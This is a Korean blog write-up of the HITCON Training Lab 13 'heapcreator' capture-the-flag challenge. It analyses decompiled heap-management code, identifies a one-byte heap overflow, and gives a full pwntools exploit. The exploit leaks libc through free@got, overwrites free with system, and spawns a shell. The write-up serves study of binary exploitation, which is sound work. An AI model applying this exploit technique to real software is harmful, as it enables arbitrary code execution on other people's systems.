tmxklab
hitcon training [LAB 13] 본문
1. 문제
1) mitigation확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
read(0, &buf, 4uLL);
switch ( atoi(&buf) )
{
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
show_heap();
break;
case 4:
delete_heap();
break;
case 5:
exit(0);
return;
default:
puts("Invalid Choice");
break;
}
}
}
3-2) create_heap()
unsigned __int64 create_heap()
{
_QWORD *v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
heaparray[i] = malloc(0x10uLL);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
v0 = heaparray[i];
v0[1] = malloc(size);
if ( !*((_QWORD *)heaparray[i] + 1) )
{
puts("Allocate Error");
exit(2);
}
*(_QWORD *)heaparray[i] = size;
printf("Content of heap:");
read_input(*((void **)heaparray[i] + 1), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}
-
heaparray(전역변수)에 malloc(0x10)요청
-
heaparray[i][1]에 size만큼 malloc요청
-
heaparray[i][0]에 size값을 저장
-
heaparray[i][1]에 content값 저장
3-3) edit_heap()
unsigned __int64 edit_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Content of heap : ");
read_input(*((void **)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
-
heaparray[i]에 존재하면 heaparray[i][0] + 1 (size+1)만큼 heaparray[i][1] (content)에 content덮어 씌움
-
엄청 수상한 부분이다. size만큼 받는게 아니라 size+1만큼 받으므로
3-4) show_heap()
unsigned __int64 show_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Size : %ld\nContent : %s\n", *(_QWORD *)heaparray[v1], *((_QWORD *)heaparray[v1] + 1));
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
-
heaparray에 존재하는 모든 각각의 Chunk size와 저장된 값(content)출력
-
printf(heaparray[v1].size, heaparray[v1].content);
3-5) delete_heap()
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
free(*((void **)heaparray[v1] + 1));
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
-
heaparray[v1][1] (content)먼저 free하고 heaparray[v1]를 free
-
free(heaparray[v1].content), free(heaparray[v1].heap), heaparray[v1] = \x0
전역변수)
구조)
2. 접근방법
1) 취약점이 발생하는 곳
x64 system에서는 chunk를 할당할 경우 16byte 배수로 할당하게 된다.
여기서 create_heap()을 2번 호출하여 content를 담는 chunk의 size를 각각 24, 25bytes만큼 요청하고 chunk를 확인해보겠다.
-
heaparray(빨간색 박스)2개가 생성되고 content를 담는 Chunk 2개(노란색 박스) 생성되었다.
-
여기서 size를 24bytes를 요청하였는데 실제 chunk가 할당받는 크기는 0x20인 것을 확인할 수 있으며, 여기서 한 바이트 더 큰 25bytes를 요청할 때부터 0x30 크기의 chunk를 할당받는 것을 확인할 수 있다.
-
사실 여기까지는 아무 문제가 없다. 왜냐하면 실질적으로 0x20만큼 할당받은 chunk는 다음 chunk의 prev_size(0x8) 부분까지 포함되기 때문이다.
하지만, edit_heap()에서 문제가 발생한다.
-
아까 위에서 코드를 봤을 때처럼 0x18(24)만큼 입력을 받는게 아니라 1byte 더 받아서 총 0x19(25) bytes를 입력으로 받는다.
-
결국 25bytes를 꽉 채워서 받게 되면 1byte overflow가 발생하여 다음 chunk의 size값이 변경되는 것을 확인할 수 있다.
2) delete_heap() → free() (GOT Overwrite)
문제에서는 magic함수가 없으므로 쉘을 따는 것을 목표로 한다.
if ( heaparray[v1] )
{
free(*((void **)heaparray[v1] + 1));
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
-
delete_heap함수의 일부분을 가져온 것이다.
-
해당 인덱스에 널 값이 없으면 content Chunk를 먼저 free하고 heap Chunk를 free시킨 다음 heaparray배열의 해당 인덱스 부분에 널 값을 넣는다.
-
위 그림은 content Chunk를 free시키기 직전이며 free함수의 인자 값으로 content Chunk에서 data부분인 0x603030를 받는 것을 알 수 있다.
-
나중에 free() GOT Overwrite가 되면 (free@got→ system) 인자 값으로 "/bin/sh"을 주면 될 것이다.
3) show_heap() → free() (leak)
if ( heaparray[v1] )
{
printf("Size : %ld\nContent : %s\n", *(_QWORD *)heaparray[v1], *((_QWORD *)heaparray[v1] + 1));
puts("Done !");
}
-
show_heap()의 일부분을 가져온 것이다.
-
heap Chunk에 저장된 Input size값과 content Chunk에 저장된 content값을 출력한다.
-
위 그림은 printf로 content에 저장된 값을 출력하기 위해 content chunk의 주소 값을 가져오는 과정을 나타낸다.
-
즉, heaparray(전역변수)에 해당하는 인덱스를 찾으면 heap chunk에 저장된 content chunk의 주소 값을 가져오는 과정이다.
-
결국 arg[2]에 content chunk의 주소 값이 저장된 것을 확인할 수 있다.
-
이후에 heap chunk에 content chunk의 주소 값이 아니라 free@got를 넣으면 실제 free함수의 주소 값을 leak할 수 있을 것이다.
4) 공격 프로세스
4-1) 두 개의 chunk를 생성하고 1byte overflow를 일으킨다.
-
size값은 heap chunk와 content chunk를 포함할 수 있는 size로 정함 → 0x20 * 2 = 0x40
4-2) 두 번째 chunk를 free시킨다.
-
heap(B)는 size값이 0x40이므로 fastbin 0x40에 들어가고, content(B)는 size값이 0x20이므로 fastbin 0x20에 들어간다.
4-3) 다시 한 개의 chunk를 생성한다.
-
fastbin에 있는 content(B)와 heap(B)는 각각 size에 맞게 다시 재할당할 수 있다.
-
content(B) → heap(C) , heap(B) → content(C)
-
content(C)에 입력 값을 넣으면 size가 0x40이므로 heap(C)의 chunk를 건드릴 수 있으며
-
heap(C) chunk의 inputs size(C) 부분과 content(C)부분에 값을 작성해준다.
4-4) show_heap()을 호출하여 free()의 주소 값을 leak한다.
4-5) 두 번째 chunk를 통해 GOT Overwrite를 한다.(free@got → system)
4-6) delete_heap()을 호출하여 첫 번째 chunk를 free한다.
3. 풀이
1) 익스 코드
from pwn import *
#context.log_level = "debug"
p = process("./heapcreator")
e = ELF("./heapcreator")
libc = e.libc
#gdb.attach(p)
free_got = e.got['free']
free_offset = libc.symbols['free']
system_offset = libc.symbols['system']
def create_heap(size, content):
p.sendlineafter(":", "1")
p.sendlineafter(": ", str(size))
p.sendlineafter(":", content)
def edit_heap(idx, content):
p.sendlineafter(":", "2")
p.sendlineafter(":", str(idx))
p.sendlineafter(": ", content)
def show_heap(idx):
p.sendlineafter(":", "3")
p.sendlineafter(":", str(idx))
def del_heap(idx):
p.sendlineafter(":", "4")
p.sendlineafter(":", str(idx))
create_heap(24, "A"*8)
create_heap(24, "B"*8)
payload = "/bin/sh\x00"
payload += "A"*16
payload += "\x41"
edit_heap(0, payload)
del_heap(1)
create_heap(48, "A"*32 + p64(8) + p64(free_got))
show_heap(1)
p.recvuntil("Content : ")
free = u64(p.recv(6).ljust(8, '\x00'))
libc_base = free - free_offset
system = libc_base + system_offset
edit_heap(1, p64(system))
del_heap(0)
p.interactive()
2) 실행결과
4. 몰랐던 개념
1) main_arena를 통해 leak하여 푸는 방법
솔직히 취약점은 쉽게 찾았으나 문제를 어떻게 풀어야되는지 헤매고 노트에 구조 그려가면서 풀다가 다른 사람 풀이를 참고하게 되었다. ㅠ(JSec님 블로그)
아직 부족함을 많이 느끼게 되는... 더 노력해야겠다는 생각이 드는 계기가 되었다.
'War Game > hitcon training' 카테고리의 다른 글
hitcon training [LAB 15] (0) | 2020.08.02 |
---|---|
hitcon training [LAB 14] (0) | 2020.07.31 |
hitcon training [LAB 12] (0) | 2020.07.27 |
hitcon training [LAB 11] (0) | 2020.07.25 |
hitcon training [LAB 10] (0) | 2020.07.21 |